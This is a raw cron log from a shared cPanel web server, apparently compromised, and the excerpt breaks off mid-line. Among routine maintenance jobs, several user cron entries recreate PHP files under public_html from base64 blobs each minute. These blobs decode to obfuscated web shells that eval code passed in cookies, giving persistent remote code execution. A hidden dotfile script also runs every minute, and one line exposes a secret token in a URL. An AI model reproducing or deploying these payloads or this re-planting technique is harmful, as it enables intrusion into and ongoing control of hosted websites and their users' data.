Mar  2 01:30:01 medusa CROND[19740]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:30:01 medusa CROND[19738]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 01:30:01 medusa CROND[19725]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 01:30:01 medusa CROND[19717]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 01:30:01 medusa CROND[19756]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:30:01 medusa CROND[19736]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 01:30:01 medusa CROND[19739]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:31:01 medusa CROND[24317]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:31:01 medusa CROND[24322]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 01:31:01 medusa CROND[24460]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:31:01 medusa CROND[24522]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 01:31:01 medusa CROND[24552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:31:01 medusa CROND[24553]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:31:01 medusa CROND[24555]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:31:01 medusa CROND[24561]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:31:01 medusa CROND[24565]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:31:01 medusa CROND[24566]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:31:01 medusa CROND[24570]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:31:01 medusa CROND[24573]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:31:01 medusa CROND[24574]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:32:01 medusa CROND[27798]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:32:01 medusa CROND[27873]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:32:01 medusa CROND[27872]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:32:01 medusa CROND[27874]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:32:01 medusa CROND[27875]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 01:32:01 medusa CROND[27876]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:32:01 medusa CROND[27878]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:32:01 medusa CROND[27881]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:32:01 medusa CROND[27882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:32:01 medusa CROND[27887]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:32:01 medusa CROND[27885]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:32:01 medusa CROND[27893]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:32:01 medusa CROND[27891]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 01:33:01 medusa CROND[31059]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:33:01 medusa CROND[31061]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:33:01 medusa CROND[31060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:33:01 medusa CROND[31062]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:33:01 medusa CROND[31063]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo 